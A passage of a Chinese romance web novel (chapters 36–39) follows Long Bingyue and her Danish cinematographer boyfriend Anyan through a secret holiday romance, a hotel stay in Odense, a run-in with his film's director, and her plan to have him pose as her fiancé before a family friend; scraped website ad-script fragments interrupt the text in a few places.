龙秉月想的则是另一回事,她以为安宴态度冷冷的,是不满自己玩这么久,吃醋了;或者明明提出保密,却先打破约定。 圣诞节的凌晨,三个人在同一辆车里各怀心事,欲言又止,维持了微妙的平衡。 路边的彩灯在最后的日子里坚守岗位,尽职尽责地闪烁着。可惜,它们仅有的观众根本无心留意。 36. 第三十六章 凌晨三点半,车在院子里停下。 时间已经很晚了,龙秉月想赶紧进屋洗洗睡,然而有人比她的动作更快。 “咔嗒”一下,安宴给车门落了锁。龙秉月不确定,特意试了试,果然打不开。 她这一试,也是在试探安宴有没有话要说,委婉地表达希望他有话快说。 但他只是静静坐在那里,发呆似的盯着方向盘,像个下班后在车里拖延回家时间的男人。 夜里万籁俱寂,车内的沉默之中,飘荡着若有似无的压迫感。气温渐渐降低,冷意开始从四面八方袭来,穿过衣服,渗进皮肤。 龙秉月遂“不打自招”,放低姿态,打破恼人的沉默:“对不起啦……” 安宴回过神来,蹙了蹙眉:“对不起?” “我玩到那么晚,还让你帮忙送朋友。” “你对我怎么还这么见外,是因为你朋友……” 安宴想说“因为你朋友不知道我们的关系吗”,但是被意想不到地打断了。 “啊,你发现了呀。”龙秉月原本看着他,这下又移开目光,“明明是我要秘密恋爱,却也是我没守住秘密,一早就告诉了闺蜜。” “你的意思是,她知道我们……?”安宴被冰封了一路的心瞬间融化了,重新变得心软软。 只要她给他一点点甜头,他就愿意俯首,什么都不计较、不在意。 与此同时,他也着实松了一口气,因为她并没有保密。 这下轮到龙秉月意外了:“所以你没发现吗?那你停车后锁什么门,还一直不说话,我以为你因为这事生气了。” “我只是想多和你待一会儿。等下进屋又要分开了。” “哦,是吗?我险些以为你有冷暴力倾向。”好假的理由,谁要相信。 “才安静了18秒,不要冤枉我。”安宴笑着看着她,温和背后透着狡猾。 “你特意数着?一样是欺负我,一点也不冤。” 龙秉月又拉了拉门,示意他快把锁打开。不然她担心,她要对这个假装冷暴力的人产生暴力倾向了。 数秒?亏他能想出来。 安宴慢慢悠悠地说:“别急,我再问一句。所以我们的关系,是不是可以见光了?” 他也得到了一个慢慢悠悠的答案:“慢慢来吧。” 其实很满意了,他成功地一点点攻克。从完全不同意到渐渐模棱两可不拒绝,或许曙光就在前方。 从车里出来的时候,天上已经下起了毛毛雨,清新的泥土气息飘进鼻孔。 “哦对,你先回屋吧。”安宴突然想起了什么,“我们晚上在后院玩,有些东西还没收拾。现在下雨了,我得赶紧过去搬回室内才行。” 龙秉月当然选择和他一起,早搞定早休息。 到后院看到一片狼藉,她无语地说:“这叫‘有些东西’吗,根本是一点没收拾吧。你们家是不是信奉平安夜不做家务?” 每个地方都有每个地方的节日禁忌,说不定他们家的平安夜忌做家务。 当然不是。其实是他们都想等龙秉月回来,等得晚了,太困了,干脆就直接上床睡觉,等第二天起来再收拾。 但安宴没有说出真相,不希望她因此愧疚。 “我们把不能淋雨的电器搬进屋就好,其它的不用管。”安宴交代道。 搬到最后,安宴提了一台电壁炉进来。 不是客厅或他房间里那种镶嵌在墙里、烧真材实料的木头的壁炉,而是屏幕显示3D仿真火焰的取暖器。 他听到龙秉月没头没脑地说:“你们家还有这种火炉啊。” “嗯,毕竟方便移动,可以在室外用。” “那要是积雪多,还能在室外用吗?你刚说了要避雨……” 更加没头没脑的问题,但安宴耐心答道:“只有积雪没有正在下大雪的话当然能;就算正在下雪,遮着就好了。” “不过,下雪的时候,不太会有人专门去室外雪里烤壁炉取暖吧。” 睡觉的时间,客厅不会有人在,暖气只开到最低档位,不足以让室外进来的人感到温暖,充其量是不冷。 龙秉月给这台壁炉通了电,问安宴:“我想在这儿取取暖,你要一起吗?” 这栋别墅有那么多间屋子,每一间都有更热、更安全的暖气,他们偏要在这里用电壁炉取暖。 并坐在沙发上,隔着半米的距离,显得礼貌而生疏。 阴有小雨的凌晨,在不开灯的客厅,唯一的光源来自壁炉上的仿真火焰。 火焰的光芒在人脸上跳动,忽明忽灭,叫人看不清情绪。 一个人在思考如果恰好有人来到客厅,该诚实还是掩饰;一个人在祈祷千万别有人这时候过来。 - 第二天吃完午饭,安宴就要驱车赶回片场,进行最后几场戏的拍摄。 餐桌上,他和龙秉月仍然像往常一样,表现得毫不逾矩。 而离别前的房间里,他们又变得毫无距离,吻得难舍难分。 猛不丁地,一阵不长眼的音乐声在龙秉月的屋里响起。 是安宴的手机铃声。 ——伊莎贝拉上楼给他送东西,敲他的房门没有人应,打来了电话。 受惊之下,龙秉月不小心咬破了安宴的嘴唇,渗出了一点血。 安宴不气反笑:“怕什么。你入住第一天我不就告诉你了么,我家隔音好得很。” 说着,他正在作乱的手加大了力道。 她顿时没忍住“啊”地叫出声。 “嘘,可不能让伊莎贝拉听到。”安宴调戏道。变脸很快,不拿隔音好说事了。 龙秉月明知如此,还是乖乖闭了嘴,一脸倔强不屈服。 她房间暖气开得大,平时在屋里往往只穿单衣,方便了他为所欲为。 安宴贴着她,一只手还停留在她身上,缓慢而有节奏地摩挲着,另一只手接通电话:“嗯,嗯,知道了。我在厕所,你放门口吧。好,挂了。” 他完全不在意被放到门口的东西,眼里心里只有面前的人:“话说回来,情侣之间也要讲究公平,不能总是一个人享受。前天在酒店只有我……” 龙秉月艰难捂住他的嘴:“好了你别说了,速战速决。” 安宴亲了亲她的掌心:“遵命。” …… 从桌子上抽纸巾擦手的时候,安宴瞥到镜子里 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 自己的模样,呼唤龙秉月:“过来,帮我把嘴唇上的血舔掉。” “你能不能让我歇会儿……”龙秉月斜着瘫在床上,小声说。语气中带着点难得的撒娇。 “女士,你可是犯了故意咬人罪。现在好好认罪赔偿,我就跟你私了,不再追究你的罪责。”安宴走到她面前蹲下,“OK,现在你躺着也可以够到了。” 龙秉月此刻懒得跟他斗,干脆认了:“行,那你乖一点,不要再碰瓷,给我制造新的罪行。下次我绝不姑息,一定判你‘七天不亲密’刑。” “这叫‘杀敌一千自损一千’刑吧。” 柔软的舌覆上同样柔软的唇,堵住了尚未发出的笑声。 方才咬破的伤口小,流的血不多,三两下即可扫除。龙秉月多流连了几秒钟,离开的时候轻轻吮了一下,确认伤口愈合,血迹消除得干干净净。 “好了,你快收拾一下回去吧。快到你出发的时间了,去片场可不能迟到。” “嗯,好。”安宴依然蹲着,伸手摸了摸龙秉月的额头,“再过四五天我就回来了,到时候好好陪你。” “诶等等,你杀青的时候我还在放圣诞假,如果杀青后没事的话,我们在欧登塞玩几天吧!我还没去过呢。” 除了上次临时起意去见他,到火车站后立马打车去海边小镇。 “没事,有事也得没事。从杀青到元旦,我所有的时间都属于你,任你分配。” 听到这个回答,龙秉月嘿嘿嘿笑开了花:“我的时间也都给你~” “再亲一口我就走了。”安宴说。 话是这么说,然而,接下来还有“再亲最后一口”“这次真的是最后一口”…… 直到龙秉月不得不制止他:“你倒计时十秒都要9.9、9.8地数吗?!” 她抓起身边的被子盖住半张脸,只露出眼睛及以上的部分:“停停停,真的不能再耽误时间了!” “怎么办,这次去的时间最短,却是最舍不得的。你给我施了什么魔法?”吻是停了,而安宴人仍在床边,迟迟不愿离开。 “你少来……不然我陪你去片场,然后自己回来?” 这招果然奏效,安宴叹了口气说:“你好好待在家吧,不是还有两篇一月初deadline的课程论文要写?过几天两人世界,你就没空写了。” 龙秉月在被子后面猛猛点头。 没错,她是有两篇课程论文要交,但是在这一两个月独守空房的空虚寂寞冷的日子里,都已经高效写完了。 她当然不会主动从实招来,不然两人又要过一阵才恋恋不舍地分开。 不过,她还有毕业论文要忙,学业上并非无事可做。 等安宴离家后,龙秉月打开电脑,点开桌面上的毕业论文文档。 她的专业叫作“Cognitionanmunication”(认知与传播),是比较宽泛的大类,与之相关的内容都可以作为毕业论文的主题。 通俗来讲,其实只要和“人”相关,使用本学科的理论来研究,就可以。 安宴不会知道,她把他写成了论文。 不是写在致谢里,是正文的研究对象。 37. 第三十七章 一切顺利的话,安宴担任摄影指导的电影会在12月29日杀青。 假期闲着也是闲着,龙秉月干脆提前一天就来到欧登塞,等安宴杀青了来跟她汇合。 两个人的距离越近,期待便越高,心情也就越好。 因此,哪怕大部分景点、餐馆和商店都还在放圣诞假,她也丝毫不觉冷清,只感到清爽自在。 令她意外的是,安徒生博物馆竟然开着,只在平安夜和圣诞节两天闭馆休息。 她赶紧趁只有自己一个人,把博物馆给参观了。 ——可想而知,杀青后的两天,他们大概不会迈出酒店一步。 这正是龙秉月选择来欧登塞等安宴的原因。恋爱的几个月来,虽然种种事情已经证明家里足够安全自由,但心中难免悬着“偷情”被撞破的不安。 来到陌生的地方,就可以彻底掩人耳目、肆无忌惮地幽会,不必再有顾虑。 四点从安徒生博物馆出来,天已经黑了。龙秉月步行往酒店的方向走,在街边随便找了一家还在营业的餐馆,进去解决晚饭。 漫长的黑夜彻底改变了她一日三餐的规律。 冬天里,她在上午天亮时吃一顿早饭,下午天黑后吃一顿晚饭,三餐就这样变两餐。如果夜晚饿了,就再加餐。 少了一顿,且每顿没有怎么加量,一天下来却不觉得精力不足,体重同样没有减轻,想来也是不可思议。 人体顺应自然的能力这么强。 这家餐馆的圣诞特色套餐是烤猪肉配焦糖土豆,加自选甜品和饮料。 在龙秉月用叉子叉住最后一块猪肉,准备送进嘴里的时候,放在桌面上的手机屏幕亮了。 是来电,但她的手机静音,此刻只是无声地闪烁着。 接通电话,打开免提,手机还放在桌上。 淡淡一句“喂?”送出去,她继续把猪肉送进嘴里,细细咀嚼着,不紧不慢地等对面的人说话。 “我们杀青了。” “喔,恭喜~”她做好了推迟的心理准备,着实没料到还能提前,这会儿心情反应慢半拍,没来得及雀跃,先脱口而出问,“所以?” “你已经来欧登塞了吗?” 龙秉月之前跟安宴说她提前来欧登塞的事,用的词是“可能”,她可能提前来。怕影响他工作,今天来了之后先没告诉他。 “如果还没来呢?” “我去哥本哈根接你过来。”安宴以理所当然的语气说道,让幽会更像幽会了。 “来了来了,你可别不辞劳苦了。” 手机里传来一声轻笑:“电影之神果然是被我的女朋友感动了,才让我提前下班。” 龙秉月咽下最后一口土豆,给餐盘和甜品盘交换了位置,问了个实在的问题:“你吃饭了吗?” “还没。” 现在时间不到五点,答案完全在意料之中。 “嗯……我已经快吃完了,怎么办?” “没事,饭无所谓,我现在只想吃你。” “……” 安宴干什么,突然说这么直白的话,把今晚心照不宣的事情摆到台面上讲。 通话期间,对面偶尔传来打招呼的声音,然后是走路的声音,打开车门的声音,关上车门的声音,发动汽车的声音。 “好了,我准备出发了,你把酒店名字和地址告诉我。” 龙秉月打开酒店订单界面,念了一遍,似乎还不放心,又复制下来发短信给他:【xxx路xxx号xxx酒店1807房间。】 挂了电话,她迅速地解决完甜品,结了账赶回酒店。 洗完澡包着头发穿着浴袍出来的时候,恰好听到“滴”的刷卡开门声——上来之前她在前台留了安宴的信息,他可以直接登记入住。 龙秉月一路小跑到门口,扑进安宴的怀里。简简单单地抱了一会儿,就把他推进浴室:“你先洗澡。” 安宴无语,他外套都还没脱。 从她手下逃脱,整理了下衣服又重新进去:“有什么花招尽管使出来吧。” 喂,你能不能不要预判,还说出来……龙秉月也很无奈,但计划照常进行。 等她在外面听到水声,便拉开门进去吹头发。 对相伴二十多年的头发自然无比熟悉,不需要看一点就能吹,所以她的目光,自然是落到了吹风机以外的另一处声音来源。 大方地欣赏,在淋浴冲洗下更显性感的躯体。 安宴突然关了花洒,好让她听清他的声音:“你还想再洗一遍澡吗?” 龙秉月不以为意:“今晚肯定要再洗的呀。” “别故意装不懂。”安宴打开淋浴间的门,探出头对她说,“你想现在就再洗的话,就继续吹头发,吹干了刚好适合打湿。那边的浴缸也不至于浪费。” 好小气!头发都不让人吹了,湿着头发躺床上会头痛的。 龙秉月摆出气哄哄的模样,拔出吹风机的插头,就地把浴袍脱了,做了个鬼脸,然后一手拿着吹风机,不着寸缕地走出了浴室。 暖气开得很热,她正好嫌浴袍厚。 没多久,安宴以同样的姿态出来。龙秉月正平躺在大床上,翘着腿,从浴室门口的方向看过去,满目视觉冲击。 他的眸色深了深,没有犹豫,直直朝她走过去。抚平她翘起的双腿,欺身上来。 不需要任何言语,彼此都懂,一点即燃。 龙秉月在床上一向直面自己的欲望,安宴今天却偏偏不满足她,深吻一个接一个,就是不进入下一步。连双手都只乖乖捧着她的脸颊,不做其它动作。 折磨着她,也折磨着他自己。当然,也乐在其中。 她从第一天就知道他能忍,可以前一两小时都只让她快乐,兢兢业业仿佛他的唯一需求就是服务她。 可是今天呢,他电话里那么说话,浴室里又那么说话,谁知道人设是言语上的猎豹,行动上的蜗牛。 等不及的龙秉月开始催促:“快点嘛。” “乖,再亲会儿。” 安宴不让步,又一个深吻下去,把她的催促也堵回去。 龙秉月挣脱不开,不轻不重地咬了一下安宴的舌尖,然后是唇角。 “怎么,咬上瘾了?”安宴明白她是真的急了,顺了她的意。 “我可不能白白被你安一个罪名。”龙秉月想到上次安宴给她的“故意咬人罪”,两只手不安分起来,一手掐着他的腋窝,一手捏着他的脸,“我的手指也要咬你!腿也要!” 安宴笑眯眯地接受了,又在她耳旁低声说:“放松点,别咬那么紧。” 酒店 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 房间是毫无疑问的二人世界,他们毫无疑问有丰富的交流经验。 然而在这一刻,尽管泛着潮红的脸已经染不上羞赧的红了,龙秉月还是感到,被他对着讲话那一侧的耳朵和脸颊,都在猛猛升温。 不得不承认,骚不过,真的骚不过。 - 享用完最为期待的正餐,安宴叫了酒店的餐食,在房间里吃起来。 龙秉月虽然消耗了大量体力,但是还不饿,就在旁边看着他吃。偶尔安宴吃到味道不错的,会顺手喂她一口。 她一无聊,就想找事干:“话说,你一只手就够吃饭了吧?” “理论上是够的,怎么了,另一只你要用?” “嗯!”龙秉月无视话中的歧义,拽过安宴的左手,捧在手里一根一根手指地观察着。 “不是吧,宝贝这么心急,连我吃饭都不放过?” “嗯!”她继续无视,继续以不变应万变。 终于挑好了,龙秉月端起安宴的左手,把小拇指放进嘴里,轻轻咬了起来。 一下,两下,三下,四下…… 咬人罪名嘛,背负一次和一百次没有差别。而且不咬不知道,咬了第一次后才发觉好舒服,两个人都喜欢。 他吃饭,她也要有“饭”吃。 这个夜晚,龙秉月彻底放飞,化身狼人,试咬了安宴身体各个部位:手、肩膀、脸、胳膊…… 最后发现,自己好像是个手控。 安宴任她玩弄,无奈又宠溺:“我给你安什么罪名,你就会变成什么样?” 一副所有所思的样子,似乎在思考下一个罪名是什么比较好玩。 “这个嘛……”龙秉月想了想,“应该要先偶然触发吧?说实话,长这么大,我从来都不知道自己还有这种癖好……真是谢谢你了。” 还不忘夸自己一句:“我可真是永远挖不尽的无穷的宝藏。” 她讲话语气戏谑、夸张、似玩笑,却也都是百分百真心。不止特殊癖好,在这段感情中,她无疑发现了更多面的自己,变得相信潜能,更有勇气。 这次久别重聚,不像十月初第一次结束异地。没有预想中的疯狂与激情,反而多了点老夫老妻的感觉。 大部分时间,他们躺在酒店床上什么都不做,静静看着对方,感受彼此的呼吸和体温。知道这些东西在此时此刻独属于自己,获得的满足感比其它什么都多。 有时候,安宴会和上次一样画她,画他们。 龙秉月凑上去看,也嚷嚷着要画,结果画得像鬼画符。 “可恶啊,那些年我的课外班都白上了。”她捶胸顿足。 “什么课外班?” “小学的时候,琴棋书画舞什么都学过,你根本不敢想象我爸妈有多狠。结果上了中学全断了,最终什么都没学精,现在都忘完了。喏,你瞧我这画画水平。” 副作用一直延续到现在,不仅业余爱好,甚至包括专业和工作,都在注重广度而非深度。 安宴听罢,把触控笔塞到龙秉月手里,握着她的手在平板电脑上画了起来。 画了一个闪闪亮亮的自信的她。 “你画得很好啊。” “你到底是摄影师,还是画家,还是手把手教学的老师?” “是女朋友鼓励师。” 38. 第三十八章 第二天傍晚,他们终于迈出了酒店,在附近的街道上散步。 从空气黏腻的室内来到凉爽开阔的室外,又是在夜色掩映下,龙秉月放肆起来,走着走着,拉起安宴到没人的街角,在没开门的店旁边接吻。 戒心还是有的。 她特意观察了,这家店门口没有照明,也没有摄像头,至少明面上没有。就算有,她缩在墙角,面前有高大的男人挡着,她的身体露不出一星半点。 龙秉月把手伸进安宴衣服里取暖,同时搂着他的腰。 安宴的双手体贴地抚上她的耳朵,既帮她保暖,又为她隔绝外界的声音,彻底沉浸在只有他的世界里。 这个世界无比简单,只有一个同时也是出口的入口,只由三种声音构成:她的心跳声,吮吻的啧啧声,纠缠在一起的呼吸声。 创造这个世界的人却听得到外面的风声,偶尔经过的机动车轰鸣声,忽远忽近的旁人说话声。 他心无旁骛,不受干扰,尽职尽责地做她的护卫,守护她的安宁。 “Jens?” 一道小心翼翼发出疑问的声音响起。安宴没有听到。 “Jens!” 音量加大了。安宴没有管,这是个太常见的丹麦名字,别说偶遇几率那么小,谁会这么没有眼色地在这种情况下喊他? 一定是在叫别人。 “JensAndersen?” 声音几乎逼近耳边,还加上了姓氏。安宴没法继续无视,一点点撤退,安抚性地在龙秉月唇上啄了啄,迎着她迷茫的眼神,揽着她的后脑勺把她的脸藏在怀里。 回头一看,是卡斯帕(Kaspar),他的合作导演。还真就有人这么没眼色。 幸好他有先见之明,早就捂上了她的耳朵,避免了她被惊吓到。 “卡斯帕,你怎么在这儿?”安宴没好气地说。 卡斯帕也是一脸嫌弃:“昨天刚杀青你就跑没影了,这就是你说的紧急的事??” 安宴不置可否,闲着的那只手不耐烦地摆摆,让他赶紧离开,别没事找事。 “最后一点活儿是我帮你干的,你就这态度对我?” 卡斯帕一点不觉得自己打扰了别人的好事,一副看热闹的心态,一边问一边探头探脑,想看清安宴怀里的人长什么样子。 安宴偏偏不给他看。 两人的对话以丹麦语进行,又到了龙秉月努力练习听力的时候。 连珠炮似的互怼语速快,加上她又被紧紧搂在怀里,几乎什么都听不清,想挣扎出他为她设的世界。 安宴感受到了,低头用卡斯帕听不懂的中文对龙秉月说:“我刚杀青的片子的导演。你不想露脸就躲着,没关系。” 短暂的沉默后,她把手从安宴衣服里抽出来,脸也稍稍离开他的胸前,征求他的意见:“不然我还是打个招呼吧?” “都行,随你开心,不用勉强。” 安宴克制着自己的语言,但龙秉月仍能听出来,他更开心她不躲着。 她离开了他的怀抱,和他并肩站着,终于看清了他们面前的人:寸头,黑框眼镜,些微方正的脸,极简的纯色穿搭。 比起导演,一眼看过去更像个技术大佬。 “你好,我是……”龙秉月打着招呼,却突然卡壳了,该用哪个身份词介绍自己好呢,女朋友?伴侣?“妹妹”是肯定行不通了。 或者直接说自己的名字? 她还没决定好,卡斯帕倒是善良起来,接着她的话说道:“Jens的女朋友对吧,当然了。” 能让他在街头忘我地接吻,能让他那样护着,还能是什么人。 眼前的女人红扑扑的脸明艳动人,刚被滋润了许久的嘴唇亮晶晶的,一张一合地讲话,就能把听者的注意力都吸走。 而且英语说得标准、流畅,嗓音悦耳,在寒冷的冬日室外,像听到暖气片里流动的水声一般温暖动听。 最重要的是,她站在安宴旁边,身材被衬托得尤为娇小,却丝毫不显娇弱,给人的感觉充满力量,气场强大到盖过了安宴。 或许,这也和安宴刻意放低姿态有关系。 真有意思,卡斯帕想。 他又转向安宴:“嗯,我理解了你说的紧急。你女朋友真漂亮。” “谢谢,勉强算你眼睛没白长。”安宴仍然不满他不长眼地闯入二人世界,阴阳怪气地回道,接着又嘱咐,“不过请暂时保密,对外就说是我妹妹。” “噢,妹妹!对,妹妹。我记得。”卡斯帕恍然大悟,回想起了上个月底的事,“拍摄中途偷偷出去约会,我记下了,回来等着扣钱吧!” 安宴“呵”一声,不屑地任他调侃。 龙秉月没什么插话的机会,对话因为她已经从丹麦语切换到了英语,她便默默听着,期待卡斯帕快快消失,又希望他多留一会儿。 第一次以女朋友身份面对安宴的朋友,她的心情一时相当矛盾。 他们又寒暄了几句,最后卡斯帕打趣道:“谈恋爱大方点,得给人家名分,别整天保密保密的。” 听得龙秉月感觉中枪,又不好多说什么。 安宴背下这口锅,回呛道:“你懂什么,这叫情趣。” 其实是在照顾她的感受。 等卡斯帕终于被“赶”走,两人也没有了继续在墙角亲密的心思,手挽着手慢吞吞往酒店走。 现在他们各有一个朋友知道了他们的恋爱关系,并且见过了面。 撕开一个口子后,想必很快就会越撕越大,完全暴露。 她不可能再沉浸在纯粹的二人世界,只用考虑自己和安宴,而不必顾虑其他人、顾虑现实因素。 主打享受当下的“快乐至上”法则濒临失效。 龙秉月计划回到哥本哈根后就开始未雨绸缪,却没有想过,暴风雨的到来,可能比她预想中还要早得多。 - 在外面吃完晚饭,回酒店房间的时候,安宴跟在龙秉月身后,让她先进。 一关上门,他就从后面抱着她,弓着腰,下巴靠在她的左肩上,撒娇一般地说:“怎么办,刚才导演说要扣我的钱。” 龙秉月又不傻,显然听出来那是玩笑话,况且导演不负责管钱,安宴休想讹她。 但她还是配合道:“怎么办,你不会被圈子里封杀吧,以后再也没片子找你摄影?” “嗯……”闷闷的声音正冲着她的耳朵,电流从耳朵传遍全身,酥酥麻麻,“传出去名声臭了真有可能。” 龙秉月伸出左手挠挠安宴的下巴:“那太好了,我要把你的名声搞臭,到最后全世界只有我不嫌弃你。” “原来你喜欢这种。”安宴抬起下巴,吻上她耳后的皮肤。同时双臂稍稍上移,在她身前交叉着,箍紧她的胸口。 不需要堵住她的嘴,用别的动作也可以让对话停止,精力集中在感官上。 龙秉月在他的动作下,自然地仰起头来,伸长脖颈,承受他密密麻麻的啄吻。 她只用承受,不用出力,还可以分出精力回想刚才的话。 如果真能有这么简单就好了,两个人对抗世界,两个人被全世界孤立,也就不必在乎这世界。 但他们都不是能放弃世界的人。 睡前躺在床上,依偎在一起,也要各自通过手机关心外界的动态,和外界保持友好交流。 安宴正在脸书上浏览哥本哈根的跨年活动,顺便问龙秉月:“我们明天回哥本哈根吗?” “回吧,再霸占着你我都有点不好意思了。” “这就不好意思了啊,那还怎么让全世界都抛弃我?” “……你好烦。”龙秉月靠着他的胳膊,脑袋使劲压了一下,视线依然落在手机屏幕上,没有看他,喃喃道,“我当然更希望全世界都爱你,哪怕我的爱在其中不再显眼。” 她顺着他的话随口一说,说者无意听者有心。 安宴扭过头来,挡在她和手机中间,凑近看着她:“你看看我眼里是谁。” 龙秉月顺 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 势抬眼,答案很明显,但她偏要更进一步:“是我眼里的你,你自恋啊。” “不,不止。”安宴再进一步,“有无数个我,无数个你。” 后面的话他没说,她在心里自动补全:无数个我们在一起。 人们常说眼睛是心灵的镜子,但不仅如此,瞳孔本身就像镜面一样,反射周围的影像。 两个镜子相对,会映照出无数个镜子。两双眼睛相对,会映照出无数对重叠在一起的彼此。 “对了,说到跨年……你春节要回中国吗?”创造氛围的人也打破氛围。 “不回,怎么了?” “如果你要回的话,我也可以一起过去玩一趟。今天才确认了到时候有空。” 距离过年还有一个多月,他问得有些晚;但从另一个层面来看,又问得太早了。这才哪到哪,就想着跟她一起回中国了? “我不回。”龙秉月又强调一遍,语气更加坚定。 “你暑假也没回吧?”安宴接着她的话说,所以他们才能相遇。 “是的,来丹麦后就没回过。” “和家人关系不好吗?” “不好。”龙秉月的声音变得干巴巴。 她不愿意多说,他知趣地没有继续问。正如从前她不说,他也不会问一样。 对安宴而言,个体的交往是个体之间的事,不受外人影响。所以他和她不一样,不担心两人关系社会化会带来的问题。 他反而觉得那是一种祝福。 安静许久后,龙秉月放下手机,又主动提起:“你们这种家庭幸福的孩子,会很在意另一半和家人的关系吗?” “你们这种”,在她和他之间划了一道界线,潜在的意思是她家庭并不幸福。 但是不,不是这样的,她在心里补充,曾经她也好幸福。 可父母和孩子的主要矛盾,正是孩子日益增长的见识同父母日益落后的观念之间的矛盾,孩子对完全掌握自我人生的需求和父母不愿放手之间的矛盾。 这并非不可解决或不可调和,但要先破后立,她干脆逃得远远的,暂时躲在舒适区,不去面对痛苦的“破”。 她想,如果安宴在意,如果他们可能有未来,那她也许可以咬着牙缓解一下亲子关系。 虽然究竟能否缓解大概率并不在于她,而在于她爸。 听到她的问题,安宴好像隐隐约约有些明白了,她为什么不愿在他家公开两人的关系。 “我也是你的家人。”他说出了平安夜没说出口的那句话,“我当然在意你和我的关系。” 这个回答似乎避重就轻,却是龙秉月此刻最需要的,她被杀得措手不及。 上次猜想安宴要说这话的时候,她很紧张,以为自己不希望他说。今天亲耳听到了,才明白自己并非不希望。 很多事情都是这样,到来的那一刻才会真正知晓感受。 与其在脑海中想象排演一百种情形,不如去面对,担忧和烦恼可能迎刃而解。 龙秉月的泪腺仿佛被暴打,眼泪情不自禁地往下掉。 她没再讲话,默默地任由泪水流淌,想象每一滴也都有他们在一起的倒影。 安宴陪着她不言语,牵着她的手,偶尔吻去她的泪水。 这个夜晚,龙秉月是哭着睡着的。在安宴怀里哭累了,不知不觉陷入了睡眠。 安宴把她轻轻放在枕头上,去拿了湿毛巾为她擦拭眼睛周围的皮肤,又找来眼霜给她抹上,尽量降低第二天眼睛水肿的程度。 末了,拥她在她最熟悉的怀抱里。 龙秉月的手机没设置睡眠模式,入睡时不自知,也没有调整成静音。 第二天早上八点,烦人的铃声扰了一室静谧,吵醒了她。 身边的安宴还在睡,她一心只想赶紧摁掉来电,两人继续睡懒觉。 而在目光接触到屏幕的时候,她一下子惊得清醒了。 来电显示:【李不理】 快两年没联系的人,找她准没好事。 39. 第三十九章 该来的还是来了。 生活忙碌而充实,龙秉月本来都要忘记之前妈妈的提醒了,这一通电话又唤起了记忆。 她没多想就挂断了来电,然后小心翼翼地从床上下来,进到卫生间。 回拨之前,她看到镜子里的自己。两只眼睛肿着,一点精神都没有。 于是便把手机放在洗手台上,先洗了一把脸清醒一下,准备好战斗的姿态。 “喂,李朝?” 对面笑了:“是我。刚怎么挂了?” 龙秉月懒得和他废话:“有事说事,不闲聊。” “猜猜我在哪。” “我挂了。” “好好不跟你闹了,我今天中午到哥本哈根,有空一起吃顿饭?我爸妈和弟弟也一起。” 又搞突然袭击,不给她一点反应时间,估计是觉得这样更好拿捏她吧。但她可不会客气。 “没空。” 李朝倒是有耐心:“别急着呛我,借机把我们变成你的战友岂不是更好?” “没兴趣陪你们玩无间道。” 李朝继续劝说,表现得像个好人:“先探探我们的底,总比回国后直接修罗场强吧。” 他的低姿态反而激怒了龙秉月。总是这样,好多人都这样,一副为她考虑的姿态,却不听她自己说的话。 “谁告诉你我要回国?我已经和丹麦人订婚了。”她开始口不择言,说谎不打草稿,只想让对方退却,无论用什么方法。 对面果然沉默了一阵子,就在龙秉月准备直接挂断的时候,他又开口了:“不想见就算了,不勉强你,何必这样骗我们。” “没骗你,是真的。” 自己口出狂言,逞一时口头之快,总要自己来圆。圆着圆着,就背离了初衷。 不知怎么就发展成了这样子,最后她要和他们吃晚饭,带着“未婚夫”一起。 可她还不知道安宴有没有空、愿不愿意陪她演戏;真的演了,以后又要如何收场。 从卫生间出来回到床上,龙秉月不打算继续睡了,她要抓紧时间制定策略。 首要的,就是和“未婚夫”培养感情,让他答应一同出席。 她四肢并用地抱住安宴,正对上他刚醒来半睁着的眼睛。 “怎么醒了也这么缠人。”安宴问,低沉的嗓音挠得她心痒痒,“刚躲在里面说什么呢?” 原来他醒得好早。 “接一个不能让你听到的电话。”龙秉月故意勾起他的好奇心。 安宴挑了挑眉:“你这是打算主动招了?” 龙秉月和他脸贴着脸,以眨眼代替点头:“我的青梅竹马来丹麦了,在哥本哈根。” “青梅竹马?” “嗯哼。你有青梅竹马,我当然也有。” “我那不是……” 安宴头疼,都怪安扬之前说太过,害他再也摆脱不掉“有青梅竹马的人”之身份。 当然,龙秉月并不介意,她只是调侃,顺便降低一点自己的愧疚感。 “他的家人也都来了,我今晚要去跟他们吃饭。” “……” 吃什么饭,相亲局吗?追人追到海外来也是够拼的。 她还在变本加厉:“你可不可以帮我订餐厅?明面上已经没位置的那种。用你的人脉能做到吗?” “我助力你们叙旧情,当你们play的一环?”安宴气笑了。 “你也一起,你也一起!”龙秉月赶紧补充道,“假扮成我对象一起去。” “假扮?我难道不是真的?”安宴再次气笑了。 “不不,假扮成我的未婚夫。”才不是口误,她只是比较会循序渐进。先让人注意力集中在“假”上面,“未婚夫”便没有那么重的分量了。 提出这件事的时候,龙秉月内心万分忐忑。 一是担心这种做法会不会越界;二是要让他配合演戏,就得跟他讲清楚来龙去脉,讲她的家庭和背后的关系,以及被当作筹码和控制手段的子女婚姻。 换句话说,一是怕受伤,二是怕撕开自己的伤口给他看。 所谓青梅竹马,其实是父辈生意上有合作,龙秉月和李朝便从小认识,被家人送到同一所附小,又升入同一所附中。 他们学校很多人的求学路径都是如此,算下来同校十二年的同龄人得有三位数。 至于家长一直想撮合他们,甚至不惜威逼利诱,龙秉月表示:“那又如何,我早已不花他们的钱,不要他们的财产或遗产,他们还能怎么逼迫我。” 听她以轻松的语气简单概括完前半生的纠葛,安宴首先并不是松一口气。 他确实有松一口气——她坚定有主见,不会被这些事影响自己、影响两人的感情,他不用担心遇到她被绑去联姻之类的狗血戏码。 但他更多更清晰的感受是心疼。 特别是她还刻意表现得云淡风轻,可想而知痛过多少次才能不在乎。 龙秉月继续在忐忑中玩笑般说道:“我吃你的,住你的,花你的钱,我听你的。” 安宴便也试着以说笑的口吻附和:“哦?所以按照前面的逻辑,意思是你要和我结婚?” 无论是真是假,只要她说是,他就准备把求婚提上日程。刚好,她还有几个月就毕业了,事不宜迟。 “都说了是假扮啦!”她可绝对不想当一个“逼婚”的人,在对方满心同情的时候。 龙秉月编好了安宴的人设和两人的爱情故事: 